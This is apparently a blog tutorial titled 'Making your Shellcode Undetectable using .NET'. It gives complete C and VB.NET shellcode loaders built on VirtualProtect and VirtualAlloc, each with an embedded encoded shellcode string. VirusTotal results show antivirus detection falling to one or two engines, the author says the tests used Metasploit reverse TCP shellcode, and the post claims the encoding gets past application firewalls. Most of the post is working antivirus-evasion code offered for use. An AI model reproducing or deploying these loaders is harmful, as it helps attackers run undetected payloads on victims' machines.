Making your Shellcode Undetectable using .NET

In the world of Windows you can execute shellcode using the VirtualAlloc and VirtualProtect Windows APIs. There are also few more APIs we can use to do the same task but different techniques involved.

VirtualProtect

This is how MSDN explains this:

Changes the protection on a region of committed pages in the virtual address space of the calling process.

BOOL WINAPI VirtualProtect(
_In_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flNewProtect,
_Out_ PDWORD lpflOldProtect
);

https://msdn.microsoft.com/en-us/library/windows/desktop/aa366898(v=vs.85).aspx

Basically we can make our shellcode memory region executable and invoke it using this API. We use the PAGE_EXECUTE_READWRITE as the memory protection constant for the flNewProtect parameter to make our page RWX.

Here’s an example using C which I have implemented.

/*
    CC-By: Osanda Malith Jayathissa (@OsandaMalith)
    Executing Shellcode using VirtualProtect
    Website: https://osandamalith.com
    https://creativecommons.org/licenses/by/3.0/
*/
# include <stdlib.h>
# include <stdio.h>
# include <string.h>
# include <windows.h>

int main() {
  // Calc Shellcode
  char *shellcode = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIylJHk9s0C0s0SPmYxeTqzrqtnkaBDpNkV2VlNkpRb4nkqbQ8dOx7rjfFtqyoVQo0nLgLqq1lfbVL10IQ8O6mWqiWZBl0BrSgNkaBDPNkbbwLUQJplKQPpxOukpbTRjWqXPV0nkg828Nkshq0c1N3zCUlQYnk5dlKS1N6eaKOfQYPNLjaxOdMS1kwUhKPQeydtCQmIh7KsM7TBUIrV8LKPX6DgqICpfNkVlrkLKrxWls1zsLK5TNkuQN0Oyg4GTvD3kQKSQqIcjPQkO9pChcobzLKVrJKMVsmBJfaLMMUx9GpEPC0v0E8vQlKBOMWYoyEMkM0wmtjDJCXoVoeoMomyojuEl4FalDJk09kkPQe35mkw7fsd2PoBJ30sciohUbCSQbLbCfNauD8SUs0AA";

  DWORD oldProtect;
  BOOL ret = VirtualProtect (shellcode, strlen(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect);
 
  if (!ret) {
    fprintf(stderr, "%s", "Error Occured");
    return EXIT_FAILURE;
  }
 
  ((void(*)(void))shellcode)();

  VirtualProtect (shellcode, strlen(shellcode), oldProtect, &oldProtect);
 
  return EXIT_SUCCESS;
}

For all virus scans in this post I have used the metasploit’s reverse tcp shellcode.

This result is using the MinGW compiler

https://virustotal.com/en/file/388466e6dbd4eac66ff725f91ca1fddb98f0f6b8c47a992ffe0a4dc68a0c6d60/analysis/1469980144/

However my code crashed under Visual C.

You can see the detection rate is little high because we are dealing with native code. What if we try to implement the same thing using .NET? It uses MSIL and we might have a chance of making the detection rate a bit lower.
In the world of .NET there’s this battle in managed and unmanaged resources. Basically the garbage collector knows about all the managed objects and will eventually clean up all the memory and resources associated with a managed object. The garbage collector doesn’t know about unmanaged resources, such as files, stream and handles. So porting this native code to .NET is very challenging at first. But thanks to MSDN which helps us in figuring out a way.
We use the GCHandle.Alloc Method to allocate our shellcode region to a Pinned GCHandle Type. This will make our object pinned and will prevent the garbage collector from moving the object. Pinning an object prevents the garbage collector from moving it around in memory.

        Dim GC As GCHandle = GCHandle.Alloc(shell, GCHandleType.Pinned)
        Dim hAddr As Integer = GC.AddrOfPinnedObject.ToInt32
        GC.Free()

We use a function pointer in C to execute our shellcode. Likewise in .NET we have to use an unmananaged Function pointer.

    <UnmanagedFunctionPointer(CallingConvention.Cdecl)>
    Public Delegate Function ExecuteDelegate() As Integer

Next we use Marshal.GetDelegateForFunctionPointer which converts an unmanaged function pointer to a delegate and it will return us a delegate instance that can be casted to the appropriate delegate type. We can use DirectCast for this purpose and execute our shellcode.

DirectCast(Marshal.GetDelegateForFunctionPointer(baseAddr, GetType(ExecuteDelegate)), ExecuteDelegate)()

Here’s the full source code.

#If AFAC Then
    CC-By: Osanda Malith Jayathissa (@OsandaMalith)
    Executing Shellcode using VirtualProtect in VB.NET
    Website: https://osandamalith.com
    https://creativecommons.org/licenses/by/3.0/
#End If

Imports System
Imports System.Runtime.InteropServices
Public Class Form1

    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        ' Calc Shellcode
        Dim shellcode As String = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIylJHk9s0C0s0SPmYxeTqzrqtnkaBDpNkV2VlNkpRb4nkqbQ8dOx7rjfFtqyoVQo0nLgLqq1lfbVL10IQ8O6mWqiWZBl0BrSgNkaBDPNkbbwLUQJplKQPpxOukpbTRjWqXPV0nkg828Nkshq0c1N3zCUlQYnk5dlKS1N6eaKOfQYPNLjaxOdMS1kwUhKPQeydtCQmIh7KsM7TBUIrV8LKPX6DgqICpfNkVlrkLKrxWls1zsLK5TNkuQN0Oyg4GTvD3kQKSQqIcjPQkO9pChcobzLKVrJKMVsmBJfaLMMUx9GpEPC0v0E8vQlKBOMWYoyEMkM0wmtjDJCXoVoeoMomyojuEl4FalDJk09kkPQe35mkw7fsd2PoBJ30sciohUbCSQbLbCfNauD8SUs0AA"
        Dim shell_array(shellcode.Length - 1) As Byte
        Dim i As Integer = 0
        Do
            shell_array(i) = Convert.ToByte(shellcode(i))
            i = i + 1

        Loop While i < shellcode.Length
        Dim oldProtect As UInt32

        VirtualProtect(VarPtr(shell_array), New UIntPtr(CType(shell_array.Length, UInt32)), MemoryProtection.EXECUTE_READWRITE, oldProtect)
        Try
            DirectCast(Marshal.GetDelegateForFunctionPointer(VarPtr(shell_array), GetType(ExecShellcode)), ExecShellcode)()
        Finally
            VirtualProtect(VarPtr(shell_array), New UIntPtr(CType(shell_array.Length, UInt32)), oldProtect, oldProtect)
        End Try
    End Sub

    Function VarPtr(ByVal shell As Object) As Integer
        Dim GC As GCHandle = GCHandle.Alloc(shell, GCHandleType.Pinned)
        Dim hAddr As Integer = GC.AddrOfPinnedObject.ToInt32
        GC.Free()
        Return hAddr
    End Function

    <DllImport("kernel32.dll", CharSet:=CharSet.None, ExactSpelling:=False, SetLastError:=True)>
    Private Shared Function VirtualProtect(
            ByVal lpAddress As IntPtr,
            ByVal dwSize As UIntPtr,
            ByVal flNewProtect As UInt32,
            <Out()> ByRef lpflOldProtect As UInt32) As Boolean
    End Function

    <UnmanagedFunctionPointer(CallingConvention.Cdecl)>
    Public Delegate Function ExecShellcode() As Integer

    <Flags>
    Public Enum AllocationType As UInteger
        COMMIT = 4096
        RESERVE = 8192
        RESET = 524288
        TOP_DOWN = 1048576
        WRITE_WATCH = 2097152
        PHYSICAL = 4194304
        LARGE_PAGES = 536870912
    End Enum

    Public Enum FreeType As UInteger
        MEM_DECOMMIT = 16384
        MEM_RELEASE = 32768
    End Enum

    <Flags>
    Public Enum MemoryProtection As UInteger
        NOACCESS = 1
        [READONLY] = 2
        READWRITE = 4
        WRITECOPY = 8
        EXECUTE = 16
        EXECUTE_READ = 32
        EXECUTE_READWRITE = 64
        EXECUTE_WRITECOPY = 128
        GUARD_Modifierflag = 256
        NOCACHE_Modifierflag = 512
        WRITECOMBINE_Modifierflag = 1024
    End Enum
End Class

Now the detection rate is just 2.

https://virustotal.com/en/file/638050acc67b742ca7603baa26f6b5b62835955b63f629c8b9b72f74d9546742/analysis/1469982161/

VirtualAlloc

This is how MSDN explains this API.

Reserves, commits, or changes the state of a region of pages in the virtual address space of the calling process. Memory allocated by this function is automatically initialized to zero.

LPVOID WINAPI VirtualAlloc(
  _In_opt_ LPVOID lpAddress,
  _In_     SIZE_T dwSize,
  _In_     DWORD  flAllocationType,
  _In_     DWORD  flProtect
);

https://msdn.microsoft.com/en-us/library/windows/desktop/aa366887(v=vs.85).aspx

We can allocate RWX memory using this API and then copy our shellcode to the allocated memory region and then invoke it.
Here’s an example using C.

 /*
    CC-By: Osanda Malith Jayathissa (@OsandaMalith)
    Executing Shellcode using VirtualAlloc
    Website: https://osandamalith.com
    https://creativecommons.org/licenses/by/3.0/
*/
# include <stdlib.h>
# include <stdio.h>
# include <string.h> 
# include <windows.h>
 
int main(void) {
  // Calc Shellcode
  char *shellcode = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIylJHk9s0C0s0SPmYxeTqzrqtnkaBDpNkV2VlNkpRb4nkqbQ8dOx7rjfFtqyoVQo0nLgLqq1lfbVL10IQ8O6mWqiWZBl0BrSgNkaBDPNkbbwLUQJplKQPpxOukpbTRjWqXPV0nkg828Nkshq0c1N3zCUlQYnk5dlKS1N6eaKOfQYPNLjaxOdMS1kwUhKPQeydtCQmIh7KsM7TBUIrV8LKPX6DgqICpfNkVlrkLKrxWls1zsLK5TNkuQN0Oyg4GTvD3kQKSQqIcjPQkO9pChcobzLKVrJKMVsmBJfaLMMUx9GpEPC0v0E8vQlKBOMWYoyEMkM0wmtjDJCXoVoeoMomyojuEl4FalDJk09kkPQe35mkw7fsd2PoBJ30sciohUbCSQbLbCfNauD8SUs0AA";

  BOOL *exec = VirtualAlloc(0, strlen(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  if (!exec) {
    fprintf(stderr, "%s", "Error Occured");
    return EXIT_FAILURE;
  }

  memcpy(exec, shellcode, strlen(shellcode));

  ((void (*)())exec)();

  VirtualFree(exec, 0, MEM_RELEASE);
 	
  return EXIT_SUCCESS;
}

Once compiled in Visual C you can see the detection rate is very high in this case. It’s 16/54.

https://virustotal.com/en/file/c6c198a79674cd65333e7202f003d9c3458422e995f53db3bbb24d99ed6b130c/analysis/1469980854/

In MinGW the detection rate is a bit low compared to Visual C.

https://virustotal.com/en/file/76b6f690992b63017ad7251101de2e1efa3bbd8e564ca54d6d9a905ab5f7cf5c/analysis/1470017283/

When we are porting this to .NET the same things apply as I’ve said before. Instead of memcpy we use Marshal.Copy to copy our shellcode array to unmanaged memory allocated by VirtualAlloc.
Here’s the full source code.

#If AFAC Then
    CC-By: Osanda Malith Jayathissa (@OsandaMalith)
    Executing Shellcode using VirtualAlloc in VB.NET
    Website: https://osandamalith.com
    https://creativecommons.org/licenses/by/3.0/
#End If

Imports System
Imports System.Runtime.InteropServices

Public Class Form1

    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        ' Calc Shellcode
        Dim shellcode As String = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIylJHk9s0C0s0SPmYxeTqzrqtnkaBDpNkV2VlNkpRb4nkqbQ8dOx7rjfFtqyoVQo0nLgLqq1lfbVL10IQ8O6mWqiWZBl0BrSgNkaBDPNkbbwLUQJplKQPpxOukpbTRjWqXPV0nkg828Nkshq0c1N3zCUlQYnk5dlKS1N6eaKOfQYPNLjaxOdMS1kwUhKPQeydtCQmIh7KsM7TBUIrV8LKPX6DgqICpfNkVlrkLKrxWls1zsLK5TNkuQN0Oyg4GTvD3kQKSQqIcjPQkO9pChcobzLKVrJKMVsmBJfaLMMUx9GpEPC0v0E8vQlKBOMWYoyEMkM0wmtjDJCXoVoeoMomyojuEl4FalDJk09kkPQe35mkw7fsd2PoBJ30sciohUbCSQbLbCfNauD8SUs0AA"
        Dim shell_array(shellcode.Length - 1) As Byte
        Dim i As Integer = 0
        Do
            shell_array(i) = Convert.ToByte(shellcode(i))
            i = i + 1

        Loop While i < shellcode.Length

        Dim baseAddr As IntPtr = VirtualAlloc(IntPtr.Zero, New UIntPtr(CType(shell_array.Length, UInt32)), AllocationType.COMMIT Or AllocationType.RESERVE, MemoryProtection.EXECUTE_READWRITE)
        Try
            Marshal.Copy(shell_array, 0, baseAddr, CInt(shell_array.Length))
            DirectCast(Marshal.GetDelegateForFunctionPointer(baseAddr, GetType(ExecuteDelegate)), ExecuteDelegate)()
        Finally
            VirtualFree(baseAddr, 0, FreeType.MEM_RELEASE)
        End Try
    End Sub

    <DllImport("kernel32.dll", CharSet:=CharSet.None, ExactSpelling:=False, SetLastError:=True)>
    Private Shared Function VirtualAlloc(
                ByVal lpAddress As IntPtr,
                ByVal dwSize As UIntPtr,
                ByVal flAllocationType As AllocationType,
                ByVal flProtect As MemoryProtection) As IntPtr
    End Function

    <DllImport("kernel32.dll", CharSet:=CharSet.None, ExactSpelling:=False)>
    Private Shared Function VirtualFree(
                ByVal lpAddress As IntPtr,
                ByVal dwSize As UInteger,
                ByVal dwFreeType As FreeType) As Boolean
    End Function

    <Flags>
    Public Enum AllocationType As UInteger
        COMMIT = 4096
        RESERVE = 8192
        RESET = 524288
        TOP_DOWN = 1048576
        WRITE_WATCH = 2097152
        PHYSICAL = 4194304
        LARGE_PAGES = 536870912
    End Enum

    <UnmanagedFunctionPointer(CallingConvention.Cdecl)>
    Public Delegate Function ExecuteDelegate() As Integer

    Public Enum FreeType As UInteger
        MEM_DECOMMIT = 16384
        MEM_RELEASE = 32768
    End Enum

    <Flags>
    Public Enum MemoryProtection As UInteger
        NOACCESS = 1
        [READONLY] = 2
        READWRITE = 4
        WRITECOPY = 8
        EXECUTE = 16
        EXECUTE_READ = 32
        EXECUTE_READWRITE = 64
        EXECUTE_WRITECOPY = 128
        GUARD_Modifierflag = 256
        NOCACHE_Modifierflag = 512
        WRITECOMBINE_Modifierflag = 1024
    End Enum
End Class

When we look at the detection rate you can see only 1 which is a very low detection rate.

https://virustotal.com/en/file/d21c64b0326994214906ddd9387c3590d2d7bd5367c0bbd5b35377c4d994cb0a/analysis/1469982240/

Since we are using printable ASCII characters we can bypass application firewalls which operate at layer 7 of the OSI stack. Usually they detect non printable ASCII characters such as 00 FF.

You can find the full source code for both at my GitHub: https://github.com/OsandaMalith/VBShellCode

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s